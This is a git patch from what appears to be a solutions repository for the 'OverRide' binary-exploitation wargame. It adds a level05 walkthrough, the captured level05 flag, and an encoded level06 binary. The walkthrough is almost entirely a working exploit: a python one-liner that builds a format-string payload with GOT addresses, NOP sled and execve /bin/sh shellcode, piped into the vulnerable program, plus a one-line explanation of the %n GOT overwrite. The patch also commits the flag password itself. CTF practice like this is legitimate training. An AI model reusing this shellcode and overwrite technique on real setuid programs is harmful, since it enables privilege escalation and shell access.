From 8927d0e139ab23a27fbe6fcf495ccd97bd1086b4 Mon Sep 17 00:00:00 2001 From: gbrochar Date: Tue, 13 May 2025 20:36:12 +0200 Subject: [PATCH] feat: level05 + level06 elf --- level05/Ressources/walktrough.md | 4 ++++ level05/flag | 1 + level06/Ressources/level06 | Bin 0 -> 7907 bytes 3 files changed, 5 insertions(+) create mode 100644 level05/Ressources/walktrough.md create mode 100644 level05/flag create mode 100755 level06/Ressources/level06 diff --git a/level05/Ressources/walktrough.md b/level05/Ressources/walktrough.md new file mode 100644 index 0000000..2168b86 --- /dev/null +++ b/level05/Ressources/walktrough.md @@ -0,0 +1,4 @@ +level05@OverRide:~$ rm -f exploit && python -c "print('\xe0\x97\x04\x08'+'\xe2\x97\x04\x08'+'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'%54914x'+'%10\$n'+'%10555x'+'%11\$n')" > exploit +level05@OverRide:~$ cat exploit - | /home/users/level05/level05 + +write in 2 times with %n $ speifiy argument number, overwrite GOT table to jmp to shellcode diff --git a/level05/flag b/level05/flag new file mode 100644 index 0000000..623a14e --- /dev/null +++ b/level05/flag @@ -0,0 +1 @@ +h4GtNnaMs2kZFN92ymTr2DcJHAzMfzLW25Ep59mq diff --git a/level06/Ressources/level06 b/level06/Ressources/level06 new file mode 100755 index 0000000000000000000000000000000000000000..3a2fb2fea2bcb3bca69d8dbee9b49515ceb2e4fa GIT binary patch literal 7907 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 rEc@